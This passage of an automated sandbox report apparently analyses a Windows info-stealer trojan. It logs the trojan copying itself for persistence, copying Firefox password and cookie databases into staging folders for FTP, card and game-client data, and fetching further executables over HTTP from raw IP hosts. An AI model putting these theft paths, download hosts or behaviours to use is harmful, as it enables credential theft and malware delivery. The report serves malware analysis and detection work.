"HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E6A3B45B062D509B3382282D196EFE97D5956CCB"; Key: "BLOB") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB")3b:T5a9,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CopyFileA" to copy C:\SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe to new location %LOCALAPPDATA%\RageMP131\RageMP131.exe (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CopyFileA" to copy C:\SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe to new location %ALLUSERSPROFILE%\MPGPH131\MPGPH131.exe (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/mj0wtyin.default-1692790883487\signons.sqlite to new location %TEMP%\jobA4XqqaC8IUGVBJz\Ei8DrAmaYu9Ksignons.sqlite (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/mj0wtyin.default-1692790883487\places.sqlite to new location %TEMP%\jobA4XqqaC8IUGVBJz\8ghN89CsjOW1places.sqlite (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/mj0wtyin.default-1692790883487\cookies.sqlite to new location %TEMP%\jobA4XqqaC8IUGVBJz\D87fZN3R3jFecookies.sqlite (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/mj0wtyin.default-1692790883487\places.sqlite to new location %TEMP%\jobA4XqqaC8IUGVBJz\02zdBXl47cvzplaces.sqlite (UID: 00000000-00005372)3c:Tf63,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\RageMP131 (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %ALLUSERSPROFILE%\MPGPH131 (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA4XqqaC8IUGVBJz (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\FTP (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Autofill (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Downloads (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Files (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\CC (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Files\Amazon Downloader Logs (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Files\hancom (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Cookies (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\GoogleAccounts (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Files\My Music (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Files\My Pictures (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Files\My Videos (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Files\Outlook Files (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\FTP\FileZilla (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\FTP\TotalCommander (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Games (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Games\Growtopia (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Games\Minecraft (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Games\TLauncher (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Games\FeatherClient (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Games\LunarClient (UID: 00000000-00005372)3d:T74b,"%APPDATA%\Opera Software\*" in Source: 00000000-00005372-00000C27-35130650095 "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\*" in Source: 00000000-00005372-00000C27-35432632899 "SOFTWARE\Clients\StartMenuInternet" in Source: 00000000-00005892.00000000.74777.01132000.00000020.mdmp "teamPathwaasflleasft.datasfExtension CookiesAntiDisplayDownvirusProDisplayDownduct|ADisplayDownntiSpyDisplayDownWareProdDisplayDownuct|FirewaDisplayDownllProdDisplayDownuctNPathordCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesTotalVisibleMemorySizeSoftware\Valve\SteamLogin DataID: Ly9zZXR0aW5nW0BuYW1lPSdVc2VybmFtZSddL3ZhbHVlSOFTWProjectManagerARE\MicrProjectManagerosoft\WindProjectManagerows NT\CurrenProjectManagertVersionxzaXRHandlelbWFuYWdlHandleci54bWw=waasflletasfv11" in Source: 00000000-00005892.00000000.74777.01132000.00000020.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00000928.00000001.75590.00270000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00000928.00000001.75590.00270000.00000004.mdmp "chine\Software\Classes\CLSID\{871c5380-42a0-1069-a2ea-08002b30309d}\InProcServer32" in Source: 00000000-00001784.00000001.72531.005A0000.00000004.mdmp 00000000-00001784.00000002.74457.005A0000.00000004.mdmp 00000000-00001784.00000003.75447.005A0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\TabbedBrowsing" in Source: 00000000-00001784.00000001.72531.005A0000.00000004.mdmp 00000000-00001784.00000002.74457.005A0000.00000004.mdmp 00000000-00001784.00000003.75447.005A0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00001784.00000001.72531.005A0000.00000004.mdmp 00000000-00001784.00000002.74457.005A0000.00000004.mdmp 00000000-00001784.00000003.75447.005A0000.00000004.mdmp3e:T20f3,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "eczhlR27eSQu8x8E0T8F.exe" failed to load missing module "api-ms-win-core-sysinfo-l1-2-1" - [base:0; Status:c0000135] "DjumWVmCC4B2ivAX9QBh.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "DjumWVmCC4B2ivAX9QBh.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "DjumWVmCC4B2ivAX9QBh.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "DjumWVmCC4B2ivAX9QBh.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "DjumWVmCC4B2ivAX9QBh.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "DjumWVmCC4B2ivAX9QBh.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "DjumWVmCC4B2ivAX9QBh.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "DjumWVmCC4B2ivAX9QBh.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "DjumWVmCC4B2ivAX9QBh.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "DjumWVmCC4B2ivAX9QBh.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "H71o7LCWTf28gq71qPp8.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "H71o7LCWTf28gq71qPp8.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "H71o7LCWTf28gq71qPp8.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "H71o7LCWTf28gq71qPp8.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "H71o7LCWTf28gq71qPp8.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "tRR0mZeAIpkePLPN9LrW.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "tRR0mZeAIpkePLPN9LrW.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "tRR0mZeAIpkePLPN9LrW.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "tRR0mZeAIpkePLPN9LrW.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "tRR0mZeAIpkePLPN9LrW.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "oZijmS3fJ3DTcP29TRNz.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "oZijmS3fJ3DTcP29TRNz.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "oZijmS3fJ3DTcP29TRNz.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "explorhe.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "explorhe.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "schtasks.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "schtasks.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "explorhe.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "goldklassd.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "goldklassd.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "goldklassd.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "goldklassd.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "goldklassd.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "goldklassd.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "goldklassd.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "goldklassd.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "goldklassd.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "MONTHRDX.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "MONTHRDX.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "MONTHRDX.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "MONTHRDX.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "MONTHRDX.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "MONTHRDX.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "MONTHRDX.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "MONTHRDX.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "MONTHRDX.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "rockrunn.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "rockrunn.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "alex.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "alex.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "alex.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "alex.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135]3f:T4de,"explorhe.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "rockrunn_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "goldklassd_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA "MONTHRDX_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "2024.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "clip.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "niks_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA40:T63e,Observed unmanaged function "DrawIcon" in "goldklassd_1_.exe" Observed unmanaged function "CreateCompatibleDC" in "goldklassd_1_.exe" Observed unmanaged function "GetProcAddress" in "goldklassd_1_.exe" Observed unmanaged function "GetModuleHandle" in "goldklassd_1_.exe" Observed unmanaged function "VirtualProtect" in "goldklassd_1_.exe" Observed unmanaged function "LoadLibrary" in "goldklassd_1_.exe" Observed unmanaged function "RmRegisterResources" in "MONTHRDX_1_.exe" Observed unmanaged function "RmStartSession" in "MONTHRDX_1_.exe" Observed unmanaged function "RmEndSession" in "MONTHRDX_1_.exe" Observed unmanaged function "RmGetList" in "MONTHRDX_1_.exe" Observed unmanaged function "DwmIsCompositionEnabled" in "MONTHRDX_1_.exe" Observed unmanaged function "BitBlt" in "MONTHRDX_1_.exe" Observed unmanaged function "CreateRoundRectRgn" in "MONTHRDX_1_.exe" Observed unmanaged function "PathCompactPath" in "MONTHRDX_1_.exe" Observed unmanaged function "ClientToScreen" in "MONTHRDX_1_.exe" Observed unmanaged function "CreateWindowEx" in "MONTHRDX_1_.exe" Observed unmanaged function "DestroyWindow" in "MONTHRDX_1_.exe" Observed unmanaged function "DrawMenuBar" in "MONTHRDX_1_.exe" Observed unmanaged function "FindWindow" in "MONTHRDX_1_.exe" Observed unmanaged function "GetClassName" in "MONTHRDX_1_.exe" Observed unmanaged function "GetClientRect" in "MONTHRDX_1_.exe" Observed unmanaged function "GetCursorPos" in "MONTHRDX_1_.exe" Observed unmanaged function "GetDCEx" in "MONTHRDX_1_.exe" Observed unmanaged function "GetMonitorInfo" in "MONTHRDX_1_.exe"41:T69b,Found string "https://www.youtube.com/account" (Indicator: "youtube"; File: "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363") file/memory contains long string with (Indicator: "facebook.com"; File: "video_1_.htm") Found string "0KhMqWcGyuryds8I2..BlurzO.nE.AAA.0.0.BlurzO.AWUqQmsQpl4facebook.com/921754913305631103814117902053131085724datrx7y6ZVPJgrL8BKkLyNOAgyLQfacebook.com/92172023587200311661753721410307310857211280x661facebook.com/108946853222431087131408125709831085722" (Indicator: "facebook.com"; File: "TN1QWL8U.txt") Found string "0KhMqWcGyuryds8I2..BlurzO.nE.AAA.0.0.Blurzt.AWVO6hA5x6Ifacebook.com/921785913305631103814121483803531085734datrx7y6ZVPJgrL8BKkLyNOAgyLQfacebook.com/92172023587200311661753721410307310857211280x661facebook.com/108946853222431087131408125709831085722" (Indicator: "facebook.com"; File: "ZS0JYDPU.txt") Found string "datrx7y6ZVPJgrL8BKkLyNOAgyLQfacebook.com/92172023587200311661753721410307310857211280x661facebook.com/108946853222431087131408125709831085722" (Indicator: "facebook.com"; File: "TR1L33ZA.txt") Found string "datrx7y6ZVPJgrL8BKkLyNOAgyLQfacebook.com/9217202358720031166175372141030731085721" (Indicator: "facebook.com"; File: "9HWLTDQU.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" (Indicator: "youtube"; File: "5C0D9UP5.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "m.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP")42:T3de7,"GET /cost/no.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 31 Jan 2024 21:33:15 GMT Content-Type: application/octet-stream Content-Length: 918528 Last-Modified: Thu 01 Feb 2024 05:15:17 GMT Connection: keep-alive ETag: "65bb28e5-e0400" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000020010000....... "GET /cost/niks.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 31 Jan 2024 21:33:26 GMT Content-Type: application/octet-stream Content-Length: 61440 Last-Modified: Thu 01 Feb 2024 05:15:13 GMT Connection: keep-alive ETag: "65bb28e1-f000" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /cost/vinu.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 31 Jan 2024 21:33:27 GMT Content-Type: application/octet-stream Content-Length: 1195520 Last-Modified: Thu 01 Feb 2024 05:15:08 GMT Connection: keep-alive ETag: "65bb28dc-123e00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000018010000....... "GET /cost/lada.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 31 Jan 2024 21:33:30 GMT Content-Type: application/octet-stream Content-Length: 2349568 Last-Modified: Thu 01 Feb 2024 05:14:31 GMT Connection: keep-alive ETag: "65bb28b7-23da00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000018010000....... "GET /mine/amers.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 185.215.113.68 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 31 Jan 2024 21:33:33 GMT Content-Type: application/octet-stream Content-Length: 810496 Last-Modified: Thu 01 Feb 2024 05:15:10 GMT Connection: keep-alive ETag: "65bb28de-c5e00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000008010000....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2661 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Wed 31 Jan 2024 21:33:53 GMT Last-Modified: Wed 31 Jan 2024 20:49:32 GMT Server: ECAcc (sac/2551) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Wed 31 Jan 2024 21:33:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4519 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Wed 31 Jan 2024 21:34:11 GMT Server: cloudflare CF-RAY: 84e5136c0b85236d-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Wed 31 Jan 2024 20:43:47 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3010 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA216041432192D2918BF035A75726826C5E5F33E11AB3206180F32....... "GET 